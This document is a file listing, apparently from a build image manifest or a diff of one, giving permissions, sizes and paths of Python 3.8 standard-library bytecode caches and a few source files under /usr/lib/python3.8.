+-rw-r--r-- root root 5443 ./usr/lib/python3.8/__pycache__/_compat_pickle.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5501 ./usr/lib/python3.8/__pycache__/_compat_pickle.cpython-38.pyc
+-rw-r--r-- root root 4146 ./usr/lib/python3.8/__pycache__/_compression.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3932 ./usr/lib/python3.8/__pycache__/_compression.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4146 ./usr/lib/python3.8/__pycache__/_compression.cpython-38.pyc
+-rw-r--r-- root root 45718 ./usr/lib/python3.8/__pycache__/configparser.cpython-38.opt-1.pyc
+-rw-r--r-- root root 30792 ./usr/lib/python3.8/__pycache__/configparser.cpython-38.opt-2.pyc
+-rw-r--r-- root root 45718 ./usr/lib/python3.8/__pycache__/configparser.cpython-38.pyc
+-rw-r--r-- root root 20176 ./usr/lib/python3.8/__pycache__/contextlib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 14596 ./usr/lib/python3.8/__pycache__/contextlib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 20229 ./usr/lib/python3.8/__pycache__/contextlib.cpython-38.pyc
+-rw-r--r-- root root 6987 ./usr/lib/python3.8/__pycache__/copy.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4673 ./usr/lib/python3.8/__pycache__/copy.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6987 ./usr/lib/python3.8/__pycache__/copy.cpython-38.pyc
+-rw-r--r-- root root 4283 ./usr/lib/python3.8/__pycache__/copyreg.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3481 ./usr/lib/python3.8/__pycache__/copyreg.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4318 ./usr/lib/python3.8/__pycache__/copyreg.cpython-38.pyc
+-rw-r--r-- root root 3387 ./usr/lib/python3.8/__pycache__/crypt.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2725 ./usr/lib/python3.8/__pycache__/crypt.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3387 ./usr/lib/python3.8/__pycache__/crypt.cpython-38.pyc
+-rw-r--r-- root root 11910 ./usr/lib/python3.8/__pycache__/csv.cpython-38.opt-1.pyc
+-rw-r--r-- root root 9871 ./usr/lib/python3.8/__pycache__/csv.cpython-38.opt-2.pyc
+-rw-r--r-- root root 11910 ./usr/lib/python3.8/__pycache__/csv.cpython-38.pyc
+-rw-r--r-- root root 55741 ./usr/lib/python3.8/__pycache__/datetime.cpython-38.opt-1.pyc
+-rw-r--r-- root root 47501 ./usr/lib/python3.8/__pycache__/datetime.cpython-38.opt-2.pyc
+-rw-r--r-- root root 56978 ./usr/lib/python3.8/__pycache__/datetime.cpython-38.pyc
+-rw-r--r-- root root 15802 ./usr/lib/python3.8/__pycache__/dis.cpython-38.opt-1.pyc
+-rw-r--r-- root root 11995 ./usr/lib/python3.8/__pycache__/dis.cpython-38.opt-2.pyc
+-rw-r--r-- root root 15802 ./usr/lib/python3.8/__pycache__/dis.cpython-38.pyc
+-rw-r--r-- root root 6037 ./usr/lib/python3.8/__pycache__/_dummy_thread.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3392 ./usr/lib/python3.8/__pycache__/_dummy_thread.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6037 ./usr/lib/python3.8/__pycache__/_dummy_thread.cpython-38.pyc
+-rw-r--r-- root root 24399 ./usr/lib/python3.8/__pycache__/enum.cpython-38.opt-1.pyc
+-rw-r--r-- root root 20110 ./usr/lib/python3.8/__pycache__/enum.cpython-38.opt-2.pyc
+-rw-r--r-- root root 24399 ./usr/lib/python3.8/__pycache__/enum.cpython-38.pyc
+-rw-r--r-- root root 3332 ./usr/lib/python3.8/__pycache__/fnmatch.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2147 ./usr/lib/python3.8/__pycache__/fnmatch.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3332 ./usr/lib/python3.8/__pycache__/fnmatch.cpython-38.pyc
+-rw-r--r-- root root 27849 ./usr/lib/python3.8/__pycache__/ftplib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 18116 ./usr/lib/python3.8/__pycache__/ftplib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 27849 ./usr/lib/python3.8/__pycache__/ftplib.cpython-38.pyc
+-rw-r--r-- root root 27897 ./usr/lib/python3.8/__pycache__/functools.cpython-38.opt-1.pyc
+-rw-r--r-- root root 21244 ./usr/lib/python3.8/__pycache__/functools.cpython-38.opt-2.pyc
+-rw-r--r-- root root 27897 ./usr/lib/python3.8/__pycache__/functools.cpython-38.pyc
+-rw-r--r-- root root 4131 ./usr/lib/python3.8/__pycache__/__future__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2159 ./usr/lib/python3.8/__pycache__/__future__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4131 ./usr/lib/python3.8/__pycache__/__future__.cpython-38.pyc
+-rw-r--r-- root root 4001 ./usr/lib/python3.8/__pycache__/genericpath.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2865 ./usr/lib/python3.8/__pycache__/genericpath.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4001 ./usr/lib/python3.8/__pycache__/genericpath.cpython-38.pyc
+-rw-r--r-- root root 6237 ./usr/lib/python3.8/__pycache__/getopt.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3683 ./usr/lib/python3.8/__pycache__/getopt.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6271 ./usr/lib/python3.8/__pycache__/getopt.cpython-38.pyc
+-rw-r--r-- root root 17883 ./usr/lib/python3.8/__pycache__/gettext.cpython-38.opt-1.pyc
+-rw-r--r-- root root 17192 ./usr/lib/python3.8/__pycache__/gettext.cpython-38.opt-2.pyc
+-rw-r--r-- root root 17883 ./usr/lib/python3.8/__pycache__/gettext.cpython-38.pyc
+-rw-r--r-- root root 4278 ./usr/lib/python3.8/__pycache__/glob.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3418 ./usr/lib/python3.8/__pycache__/glob.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4343 ./usr/lib/python3.8/__pycache__/glob.cpython-38.pyc
+-rw-r--r-- root root 18191 ./usr/lib/python3.8/__pycache__/gzip.cpython-38.opt-1.pyc
+-rw-r--r-- root root 14323 ./usr/lib/python3.8/__pycache__/gzip.cpython-38.opt-2.pyc
+-rw-r--r-- root root 18191 ./usr/lib/python3.8/__pycache__/gzip.cpython-38.pyc
+-rw-r--r-- root root 6727 ./usr/lib/python3.8/__pycache__/hashlib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6159 ./usr/lib/python3.8/__pycache__/hashlib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6727 ./usr/lib/python3.8/__pycache__/hashlib.cpython-38.pyc
+-rw-r--r-- root root 14070 ./usr/lib/python3.8/__pycache__/heapq.cpython-38.opt-1.pyc
+-rw-r--r-- root root 11054 ./usr/lib/python3.8/__pycache__/heapq.cpython-38.opt-2.pyc
+-rw-r--r-- root root 14070 ./usr/lib/python3.8/__pycache__/heapq.cpython-38.pyc
+-rw-r--r-- root root 6388 ./usr/lib/python3.8/__pycache__/hmac.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3871 ./usr/lib/python3.8/__pycache__/hmac.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6388 ./usr/lib/python3.8/__pycache__/hmac.cpython-38.pyc
+-rw-r--r-- root root 39159 ./usr/lib/python3.8/__pycache__/imaplib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 27182 ./usr/lib/python3.8/__pycache__/imaplib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 41342 ./usr/lib/python3.8/__pycache__/imaplib.cpython-38.pyc
+-rw-r--r-- root root 9809 ./usr/lib/python3.8/__pycache__/imp.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7444 ./usr/lib/python3.8/__pycache__/imp.cpython-38.opt-2.pyc
+-rw-r--r-- root root 9809 ./usr/lib/python3.8/__pycache__/imp.cpython-38.pyc
+-rw-r--r-- root root 80098 ./usr/lib/python3.8/__pycache__/inspect.cpython-38.opt-1.pyc
+-rw-r--r-- root root 54985 ./usr/lib/python3.8/__pycache__/inspect.cpython-38.opt-2.pyc
+-rw-r--r-- root root 80383 ./usr/lib/python3.8/__pycache__/inspect.cpython-38.pyc
+-rw-r--r-- root root 3454 ./usr/lib/python3.8/__pycache__/io.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1965 ./usr/lib/python3.8/__pycache__/io.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3454 ./usr/lib/python3.8/__pycache__/io.cpython-38.pyc
+-rw-r--r-- root root 59559 ./usr/lib/python3.8/__pycache__/ipaddress.cpython-38.opt-1.pyc
+-rw-r--r-- root root 35711 ./usr/lib/python3.8/__pycache__/ipaddress.cpython-38.opt-2.pyc
+-rw-r--r-- root root 59559 ./usr/lib/python3.8/__pycache__/ipaddress.cpython-38.pyc
+-rw-r--r-- root root 998 ./usr/lib/python3.8/__pycache__/keyword.cpython-38.opt-1.pyc
+-rw-r--r-- root root 571 ./usr/lib/python3.8/__pycache__/keyword.cpython-38.opt-2.pyc
+-rw-r--r-- root root 998 ./usr/lib/python3.8/__pycache__/keyword.cpython-38.pyc
+-rw-r--r-- root root 3839 ./usr/lib/python3.8/__pycache__/linecache.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2734 ./usr/lib/python3.8/__pycache__/linecache.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3839 ./usr/lib/python3.8/__pycache__/linecache.cpython-38.pyc
+-rw-r--r-- root root 34689 ./usr/lib/python3.8/__pycache__/locale.cpython-38.opt-1.pyc
+-rw-r--r-- root root 30074 ./usr/lib/python3.8/__pycache__/locale.cpython-38.opt-2.pyc
+-rw-r--r-- root root 34689 ./usr/lib/python3.8/__pycache__/locale.cpython-38.pyc
+-rw-r--r-- root root 12018 ./usr/lib/python3.8/__pycache__/lzma.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5849 ./usr/lib/python3.8/__pycache__/lzma.cpython-38.opt-2.pyc
+-rw-r--r-- root root 12018 ./usr/lib/python3.8/__pycache__/lzma.cpython-38.pyc
+-rw-r--r-- root root 7618 ./usr/lib/python3.8/__pycache__/_markupbase.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7240 ./usr/lib/python3.8/__pycache__/_markupbase.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7790 ./usr/lib/python3.8/__pycache__/_markupbase.cpython-38.pyc
+-rw-r--r-- root root 15988 ./usr/lib/python3.8/__pycache__/mimetypes.cpython-38.opt-1.pyc
+-rw-r--r-- root root 9973 ./usr/lib/python3.8/__pycache__/mimetypes.cpython-38.opt-2.pyc
+-rw-r--r-- root root 15988 ./usr/lib/python3.8/__pycache__/mimetypes.cpython-38.pyc
+-rw-r--r-- root root 33974 ./usr/lib/python3.8/__pycache__/nntplib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 21464 ./usr/lib/python3.8/__pycache__/nntplib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 33974 ./usr/lib/python3.8/__pycache__/nntplib.cpython-38.pyc
+-rw-r--r-- root root 14657 ./usr/lib/python3.8/__pycache__/ntpath.cpython-38.opt-1.pyc
+-rw-r--r-- root root 12606 ./usr/lib/python3.8/__pycache__/ntpath.cpython-38.opt-2.pyc
+-rw-r--r-- root root 14657 ./usr/lib/python3.8/__pycache__/ntpath.cpython-38.pyc
+-rw-r--r-- root root 5420 ./usr/lib/python3.8/__pycache__/opcode.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5280 ./usr/lib/python3.8/__pycache__/opcode.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5420 ./usr/lib/python3.8/__pycache__/opcode.cpython-38.pyc
+-rw-r--r-- root root 13691 ./usr/lib/python3.8/__pycache__/operator.cpython-38.opt-1.pyc
+-rw-r--r-- root root 11322 ./usr/lib/python3.8/__pycache__/operator.cpython-38.opt-2.pyc
+-rw-r--r-- root root 13691 ./usr/lib/python3.8/__pycache__/operator.cpython-38.pyc
+-rw-r--r-- root root 47974 ./usr/lib/python3.8/__pycache__/optparse.cpython-38.opt-1.pyc
+-rw-r--r-- root root 35659 ./usr/lib/python3.8/__pycache__/optparse.cpython-38.opt-2.pyc
+-rw-r--r-- root root 48057 ./usr/lib/python3.8/__pycache__/optparse.cpython-38.pyc
+-rw-r--r-- root root 31365 ./usr/lib/python3.8/__pycache__/os.cpython-38.opt-1.pyc
+-rw-r--r-- root root 19174 ./usr/lib/python3.8/__pycache__/os.cpython-38.opt-2.pyc
+-rw-r--r-- root root 31397 ./usr/lib/python3.8/__pycache__/os.cpython-38.pyc
+-rw-r--r-- root root 43498 ./usr/lib/python3.8/__pycache__/pathlib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 35441 ./usr/lib/python3.8/__pycache__/pathlib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 43498 ./usr/lib/python3.8/__pycache__/pathlib.cpython-38.pyc
+-rw-r--r-- root root 46761 ./usr/lib/python3.8/__pycache__/pickle.cpython-38.opt-1.pyc
+-rw-r--r-- root root 40889 ./usr/lib/python3.8/__pycache__/pickle.cpython-38.opt-2.pyc
+-rw-r--r-- root root 46878 ./usr/lib/python3.8/__pycache__/pickle.cpython-38.pyc
+-rw-r--r-- root root 66314 ./usr/lib/python3.8/__pycache__/pickletools.cpython-38.opt-1.pyc
+-rw-r--r-- root root 57221 ./usr/lib/python3.8/__pycache__/pickletools.cpython-38.opt-2.pyc
+-rw-r--r-- root root 67204 ./usr/lib/python3.8/__pycache__/pickletools.cpython-38.pyc
+-rw-r--r-- root root 7795 ./usr/lib/python3.8/__pycache__/pipes.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4928 ./usr/lib/python3.8/__pycache__/pipes.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7795 ./usr/lib/python3.8/__pycache__/pipes.cpython-38.pyc
+-rw-r--r-- root root 16309 ./usr/lib/python3.8/__pycache__/pkgutil.cpython-38.opt-1.pyc
+-rw-r--r-- root root 11053 ./usr/lib/python3.8/__pycache__/pkgutil.cpython-38.opt-2.pyc
+-rw-r--r-- root root 16309 ./usr/lib/python3.8/__pycache__/pkgutil.cpython-38.pyc
+-rw-r--r-- root root 24221 ./usr/lib/python3.8/__pycache__/platform.cpython-38.opt-1.pyc
+-rw-r--r-- root root 16345 ./usr/lib/python3.8/__pycache__/platform.cpython-38.opt-2.pyc
+-rw-r--r-- root root 24221 ./usr/lib/python3.8/__pycache__/platform.cpython-38.pyc
+-rw-r--r-- root root 13459 ./usr/lib/python3.8/__pycache__/poplib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8528 ./usr/lib/python3.8/__pycache__/poplib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 13459 ./usr/lib/python3.8/__pycache__/poplib.cpython-38.pyc
+-rw-r--r-- root root 10428 ./usr/lib/python3.8/__pycache__/posixpath.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8713 ./usr/lib/python3.8/__pycache__/posixpath.cpython-38.opt-2.pyc
+-rw-r--r-- root root 10428 ./usr/lib/python3.8/__pycache__/posixpath.cpython-38.pyc
+-rw-r--r-- root root 74059 ./usr/lib/python3.8/__pycache__/_pyio.cpython-38.opt-1.pyc
+-rw-r--r-- root root 51166 ./usr/lib/python3.8/__pycache__/_pyio.cpython-38.opt-2.pyc
+-rw-r--r-- root root 74079 ./usr/lib/python3.8/__pycache__/_pyio.cpython-38.pyc
+-rw-r--r-- root root 10626 ./usr/lib/python3.8/__pycache__/queue.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6289 ./usr/lib/python3.8/__pycache__/queue.cpython-38.opt-2.pyc
+-rw-r--r-- root root 10626 ./usr/lib/python3.8/__pycache__/queue.cpython-38.pyc
+-rw-r--r-- root root 5573 ./usr/lib/python3.8/__pycache__/quopri.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4537 ./usr/lib/python3.8/__pycache__/quopri.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5748 ./usr/lib/python3.8/__pycache__/quopri.cpython-38.pyc
+-rw-r--r-- root root 20108 ./usr/lib/python3.8/__pycache__/random.cpython-38.opt-1.pyc
+-rw-r--r-- root root 13132 ./usr/lib/python3.8/__pycache__/random.cpython-38.opt-2.pyc
+-rw-r--r-- root root 20108 ./usr/lib/python3.8/__pycache__/random.cpython-38.pyc
+-rw-r--r-- root root 14308 ./usr/lib/python3.8/__pycache__/re.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6084 ./usr/lib/python3.8/__pycache__/re.cpython-38.opt-2.pyc
+-rw-r--r-- root root 14308 ./usr/lib/python3.8/__pycache__/re.cpython-38.pyc
+-rw-r--r-- root root 5303 ./usr/lib/python3.8/__pycache__/reprlib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5147 ./usr/lib/python3.8/__pycache__/reprlib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5303 ./usr/lib/python3.8/__pycache__/reprlib.cpython-38.pyc
+-rw-r--r-- root root 5755 ./usr/lib/python3.8/__pycache__/rlcompleter.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3092 ./usr/lib/python3.8/__pycache__/rlcompleter.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5755 ./usr/lib/python3.8/__pycache__/rlcompleter.cpython-38.pyc
+-rw-r--r-- root root 8104 ./usr/lib/python3.8/__pycache__/runpy.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6538 ./usr/lib/python3.8/__pycache__/runpy.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8104 ./usr/lib/python3.8/__pycache__/runpy.cpython-38.pyc
+-rw-r--r-- root root 16935 ./usr/lib/python3.8/__pycache__/selectors.cpython-38.opt-1.pyc
+-rw-r--r-- root root 12900 ./usr/lib/python3.8/__pycache__/selectors.cpython-38.opt-2.pyc
+-rw-r--r-- root root 16935 ./usr/lib/python3.8/__pycache__/selectors.cpython-38.pyc
+-rw-r--r-- root root 9490 ./usr/lib/python3.8/__pycache__/shelve.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5339 ./usr/lib/python3.8/__pycache__/shelve.cpython-38.opt-2.pyc
+-rw-r--r-- root root 9490 ./usr/lib/python3.8/__pycache__/shelve.cpython-38.pyc
+-rw-r--r-- root root 7536 ./usr/lib/python3.8/__pycache__/shlex.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6979 ./usr/lib/python3.8/__pycache__/shlex.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7536 ./usr/lib/python3.8/__pycache__/shlex.cpython-38.pyc
+-rw-r--r-- root root 36569 ./usr/lib/python3.8/__pycache__/shutil.cpython-38.opt-1.pyc
+-rw-r--r-- root root 25114 ./usr/lib/python3.8/__pycache__/shutil.cpython-38.opt-2.pyc
+-rw-r--r-- root root 36569 ./usr/lib/python3.8/__pycache__/shutil.cpython-38.pyc
+-rw-r--r-- root root 2843 ./usr/lib/python3.8/__pycache__/signal.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2619 ./usr/lib/python3.8/__pycache__/signal.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2843 ./usr/lib/python3.8/__pycache__/signal.cpython-38.pyc
+-rw-r--r-- root root 3481 ./usr/lib/python3.8/__pycache__/_sitebuiltins.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2957 ./usr/lib/python3.8/__pycache__/_sitebuiltins.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3481 ./usr/lib/python3.8/__pycache__/_sitebuiltins.cpython-38.pyc
+-rw-r--r-- root root 16700 ./usr/lib/python3.8/__pycache__/site.cpython-38.opt-1.pyc
+-rw-r--r-- root root 11164 ./usr/lib/python3.8/__pycache__/site.cpython-38.opt-2.pyc
+-rw-r--r-- root root 16700 ./usr/lib/python3.8/__pycache__/site.cpython-38.pyc
+-rw-r--r-- root root 35252 ./usr/lib/python3.8/__pycache__/smtplib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 18892 ./usr/lib/python3.8/__pycache__/smtplib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 35313 ./usr/lib/python3.8/__pycache__/smtplib.cpython-38.pyc
+-rw-r--r-- root root 27747 ./usr/lib/python3.8/__pycache__/socket.cpython-38.opt-1.pyc
+-rw-r--r-- root root 19424 ./usr/lib/python3.8/__pycache__/socket.cpython-38.opt-2.pyc
+-rw-r--r-- root root 27787 ./usr/lib/python3.8/__pycache__/socket.cpython-38.pyc
+-rw-r--r-- root root 14916 ./usr/lib/python3.8/__pycache__/sre_compile.cpython-38.opt-1.pyc
+-rw-r--r-- root root 14502 ./usr/lib/python3.8/__pycache__/sre_compile.cpython-38.opt-2.pyc
+-rw-r--r-- root root 15142 ./usr/lib/python3.8/__pycache__/sre_compile.cpython-38.pyc
+-rw-r--r-- root root 6359 ./usr/lib/python3.8/__pycache__/sre_constants.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5934 ./usr/lib/python3.8/__pycache__/sre_constants.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6359 ./usr/lib/python3.8/__pycache__/sre_constants.cpython-38.pyc
+-rw-r--r-- root root 21600 ./usr/lib/python3.8/__pycache__/sre_parse.cpython-38.opt-1.pyc
+-rw-r--r-- root root 21552 ./usr/lib/python3.8/__pycache__/sre_parse.cpython-38.opt-2.pyc
+-rw-r--r-- root root 21647 ./usr/lib/python3.8/__pycache__/sre_parse.cpython-38.pyc
+-rw-r--r-- root root 44596 ./usr/lib/python3.8/__pycache__/ssl.cpython-38.opt-1.pyc
+-rw-r--r-- root root 33618 ./usr/lib/python3.8/__pycache__/ssl.cpython-38.opt-2.pyc
+-rw-r--r-- root root 44596 ./usr/lib/python3.8/__pycache__/ssl.cpython-38.pyc
+-rw-r--r-- root root 4372 ./usr/lib/python3.8/__pycache__/stat.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3589 ./usr/lib/python3.8/__pycache__/stat.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4372 ./usr/lib/python3.8/__pycache__/stat.cpython-38.pyc
+-rw-r--r-- root root 7300 ./usr/lib/python3.8/__pycache__/string.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6194 ./usr/lib/python3.8/__pycache__/string.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7300 ./usr/lib/python3.8/__pycache__/string.cpython-38.pyc
+-rw-r--r-- root root 10959 ./usr/lib/python3.8/__pycache__/stringprep.cpython-38.opt-1.pyc
+-rw-r--r-- root root 10739 ./usr/lib/python3.8/__pycache__/stringprep.cpython-38.opt-2.pyc
+-rw-r--r-- root root 11017 ./usr/lib/python3.8/__pycache__/stringprep.cpython-38.pyc
+-rw-r--r-- root root 16044 ./usr/lib/python3.8/__pycache__/_strptime.cpython-38.opt-1.pyc
+-rw-r--r-- root root 12316 ./usr/lib/python3.8/__pycache__/_strptime.cpython-38.opt-2.pyc
+-rw-r--r-- root root 16044 ./usr/lib/python3.8/__pycache__/_strptime.cpython-38.pyc
+-rw-r--r-- root root 330 ./usr/lib/python3.8/__pycache__/struct.cpython-38.opt-1.pyc
+-rw-r--r-- root root 330 ./usr/lib/python3.8/__pycache__/struct.cpython-38.opt-2.pyc
+-rw-r--r-- root root 330 ./usr/lib/python3.8/__pycache__/struct.cpython-38.pyc
+-rw-r--r-- root root 41843 ./usr/lib/python3.8/__pycache__/subprocess.cpython-38.opt-1.pyc
+-rw-r--r-- root root 29913 ./usr/lib/python3.8/__pycache__/subprocess.cpython-38.opt-2.pyc
+-rw-r--r-- root root 41940 ./usr/lib/python3.8/__pycache__/subprocess.cpython-38.pyc
+-rw-r--r-- root root 2404 ./usr/lib/python3.8/__pycache__/symbol.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2328 ./usr/lib/python3.8/__pycache__/symbol.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2404 ./usr/lib/python3.8/__pycache__/symbol.cpython-38.pyc
+-rw-r--r-- root root 15462 ./usr/lib/python3.8/__pycache__/sysconfig.cpython-38.opt-1.pyc
+-rw-r--r-- root root 13084 ./usr/lib/python3.8/__pycache__/sysconfig.cpython-38.opt-2.pyc
+-rw-r--r-- root root 15462 ./usr/lib/python3.8/__pycache__/sysconfig.cpython-38.pyc
+-rw-r--r-- root root 62519 ./usr/lib/python3.8/__pycache__/tarfile.cpython-38.opt-1.pyc
+-rw-r--r-- root root 48629 ./usr/lib/python3.8/__pycache__/tarfile.cpython-38.opt-2.pyc
+-rw-r--r-- root root 62550 ./usr/lib/python3.8/__pycache__/tarfile.cpython-38.pyc
+-rw-r--r-- root root 18237 ./usr/lib/python3.8/__pycache__/telnetlib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 10735 ./usr/lib/python3.8/__pycache__/telnetlib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 18237 ./usr/lib/python3.8/__pycache__/telnetlib.cpython-38.pyc
+-rw-r--r-- root root 23459 ./usr/lib/python3.8/__pycache__/tempfile.cpython-38.opt-1.pyc
+-rw-r--r-- root root 16875 ./usr/lib/python3.8/__pycache__/tempfile.cpython-38.opt-2.pyc
+-rw-r--r-- root root 23459 ./usr/lib/python3.8/__pycache__/tempfile.cpython-38.pyc
+-rw-r--r-- root root 13445 ./usr/lib/python3.8/__pycache__/textwrap.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6236 ./usr/lib/python3.8/__pycache__/textwrap.cpython-38.opt-2.pyc
+-rw-r--r-- root root 13519 ./usr/lib/python3.8/__pycache__/textwrap.cpython-38.pyc
+-rw-r--r-- root root 39378 ./usr/lib/python3.8/__pycache__/threading.cpython-38.opt-1.pyc
+-rw-r--r-- root root 22801 ./usr/lib/python3.8/__pycache__/threading.cpython-38.opt-2.pyc
+-rw-r--r-- root root 39929 ./usr/lib/python3.8/__pycache__/threading.cpython-38.pyc
+-rw-r--r-- root root 6446 ./usr/lib/python3.8/__pycache__/_threading_local.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3126 ./usr/lib/python3.8/__pycache__/_threading_local.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6446 ./usr/lib/python3.8/__pycache__/_threading_local.cpython-38.pyc
+-rw-r--r-- root root 2485 ./usr/lib/python3.8/__pycache__/token.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2452 ./usr/lib/python3.8/__pycache__/token.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2485 ./usr/lib/python3.8/__pycache__/token.cpython-38.pyc
+-rw-r--r-- root root 17116 ./usr/lib/python3.8/__pycache__/tokenize.cpython-38.opt-1.pyc
+-rw-r--r-- root root 13352 ./usr/lib/python3.8/__pycache__/tokenize.cpython-38.opt-2.pyc
+-rw-r--r-- root root 17160 ./usr/lib/python3.8/__pycache__/tokenize.cpython-38.pyc
+-rw-r--r-- root root 19890 ./usr/lib/python3.8/__pycache__/traceback.cpython-38.opt-1.pyc
+-rw-r--r-- root root 10986 ./usr/lib/python3.8/__pycache__/traceback.cpython-38.opt-2.pyc
+-rw-r--r-- root root 19890 ./usr/lib/python3.8/__pycache__/traceback.cpython-38.pyc
+-rw-r--r-- root root 9177 ./usr/lib/python3.8/__pycache__/types.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7955 ./usr/lib/python3.8/__pycache__/types.cpython-38.opt-2.pyc
+-rw-r--r-- root root 9177 ./usr/lib/python3.8/__pycache__/types.cpython-38.pyc
+-rw-r--r-- root root 3605 ./usr/lib/python3.8/__pycache__/uu.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3361 ./usr/lib/python3.8/__pycache__/uu.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3605 ./usr/lib/python3.8/__pycache__/uu.cpython-38.pyc
+-rw-r--r-- root root 23532 ./usr/lib/python3.8/__pycache__/uuid.cpython-38.opt-1.pyc
+-rw-r--r-- root root 16376 ./usr/lib/python3.8/__pycache__/uuid.cpython-38.opt-2.pyc
+-rw-r--r-- root root 23666 ./usr/lib/python3.8/__pycache__/uuid.cpython-38.pyc
+-rw-r--r-- root root 13192 ./usr/lib/python3.8/__pycache__/warnings.cpython-38.opt-1.pyc
+-rw-r--r-- root root 10917 ./usr/lib/python3.8/__pycache__/warnings.cpython-38.opt-2.pyc
+-rw-r--r-- root root 13652 ./usr/lib/python3.8/__pycache__/warnings.cpython-38.pyc
+-rw-r--r-- root root 19488 ./usr/lib/python3.8/__pycache__/weakref.cpython-38.opt-1.pyc
+-rw-r--r-- root root 16204 ./usr/lib/python3.8/__pycache__/weakref.cpython-38.opt-2.pyc
+-rw-r--r-- root root 19518 ./usr/lib/python3.8/__pycache__/weakref.cpython-38.pyc
+-rw-r--r-- root root 7600 ./usr/lib/python3.8/__pycache__/_weakrefset.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7600 ./usr/lib/python3.8/__pycache__/_weakrefset.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7600 ./usr/lib/python3.8/__pycache__/_weakrefset.cpython-38.pyc
+-rw-r--r-- root root 58599 ./usr/lib/python3.8/__pycache__/zipfile.cpython-38.opt-1.pyc
+-rw-r--r-- root root 49927 ./usr/lib/python3.8/__pycache__/zipfile.cpython-38.opt-2.pyc
+-rw-r--r-- root root 58636 ./usr/lib/python3.8/__pycache__/zipfile.cpython-38.pyc
+-rw-r--r-- root root 93177 ./usr/lib/python3.8/_pyio.py
+-rw-r--r-- root root 11356 ./usr/lib/python3.8/queue.py
+-rwxr-xr-x root root 7254 ./usr/lib/python3.8/quopri.py
+-rw-r--r-- root root 28802 ./usr/lib/python3.8/random.py
+-rw-r--r-- root root 5267 ./usr/lib/python3.8/reprlib.py
+-rw-r--r-- root root 15747 ./usr/lib/python3.8/re.py
